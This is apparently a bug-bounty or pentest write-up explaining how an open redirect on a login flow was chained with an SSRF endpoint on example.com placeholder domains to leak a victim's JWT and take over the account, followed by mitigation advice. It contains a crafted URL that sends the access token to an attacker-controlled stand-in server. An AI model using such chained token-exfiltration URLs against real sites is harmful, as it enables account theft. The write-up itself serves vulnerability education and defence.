One-Click-ATO

From Useless Open Redirect and Useless SSRF to Full Account Takeover.

Introduction

In modern web applications, vulnerabilities often coexist in a complex ecosystem of features and endpoints. While a single vulnerability might seem harmless, when combined with another, it can lead to severe consequences. This write-up details how I'm, z1x, during a penetration testing engagement @BugSwagger LLC, chained an useless open redirect vulnerability with a server-side request forgery (SSRF) to achieve a full account takeover, bypassing security mechanisms that might otherwise seem robust.

Vulnerability 1: Whitelisted Open Redirect

The journey begins with a whitelisted open redirect vulnerability in the login flow of *.example.com. Open redirects are often considered zero-risk, but when improperly implemented, they can be a gateway to more significant exploits.

Identifying the Issue

The application’s login endpoint at account.example.com allows redirection to any subdomain within *.example.com after successful authentication. The vulnerable URL looks like this:

https://account.example.com/login?signin=admin&redirect-to=*.example.com

White Listed and Useless Open Redirect

After processing, the application redirects users along with an access token:

https://app.example.com/?accsestoken=eyJ***************.eyJ***************.yCY5k***********0rfvZ51WzcHSe3NBrS8

This redirection behavior, combined with the inclusion of an access token, sets the stage for a potential attack.

Account JWT Leaked In GET Request

Vulnerability 2: SSRF on a Whitelisted Subdomain

Next, we discovered an SSRF vulnerability within the API subdomain api.example.com. SSRF vulnerabilities allow an attacker to make arbitrary HTTP requests from the server, potentially accessing internal services or even the internet.

Examining the SSRF Endpoint

The vulnerable API endpoint is designed to reverse file contents and is accessible via the following URL:

https://api.example.com/v1/files/reverse?target=http://HTTP-SERVER.COM/

Useless SSRF Interaction

Normally, this SSRF might be limited in scope, especially if the server is well-segmented. However, the fact that api.example.com is a whitelisted subdomain in the open redirect functionality adds a critical dimension to this vulnerability.

Chaining the Vulnerabilities

Here’s where the magic happens. By combining the open redirect vulnerability with the SSRF, we can escalate the situation dramatically.

Crafting the Exploit

We can exploit the open redirect by targeting the SSRF endpoint directly:

https://account.example.com/login?signin=admin&redirect-to=https://api.example.com/v1/files/reverse?target=http://our-httpserver/?token=

This crafted URL does the following:

1. Step 1: The user authenticates at account.example.com, which then attempts to redirect them to a whitelisted subdomain.

2. Step 2: The redirect targets the SSRF endpoint at api.example.com instead of the intended app.example.com.

3. Step 3: The SSRF endpoint is tricked into making a request to our server (http://our-httpserver/?token=), effectively leaking the access token.

JWT of Victim Leaked After Clicking Crafted URL

Achieving Account Takeover

With the access token in hand, we can craft a legitimate request to app.example.com:

https://app.example.com/?accses_token=eyJ***************.eyJ***************.yCY5k***********0rfvZ51WzcHSe3NBrS8

This allows us to impersonate the victim user and take over their account, all from a seemingly innocuous open redirect combined with a simple SSRF.

Mitigation Strategies

To prevent such exploits, consider the following strategies:

• Tighten Whitelists: Avoid overly broad whitelists for redirects. Only allow specific, necessary domains.

• Token Handling: Avoid including sensitive tokens in URLs. Use secure storage mechanisms like cookies with HTTP-only flags.

• SSRF Protections: Implement strict input validation and response filtering for SSRF-prone endpoints.

Conclusion

This case illustrates how two vulnerabilities, which might be considered low-risk individually, can be chained to create a critical security breach. It’s a reminder that thorough vulnerability analysis must consider the potential for chaining attacks, and developers should build security mechanisms with this in mind. My experience @BugSwagger LLC highlights the importance of understanding how different vulnerabilities interact within a system, ultimately helping secure our digital future.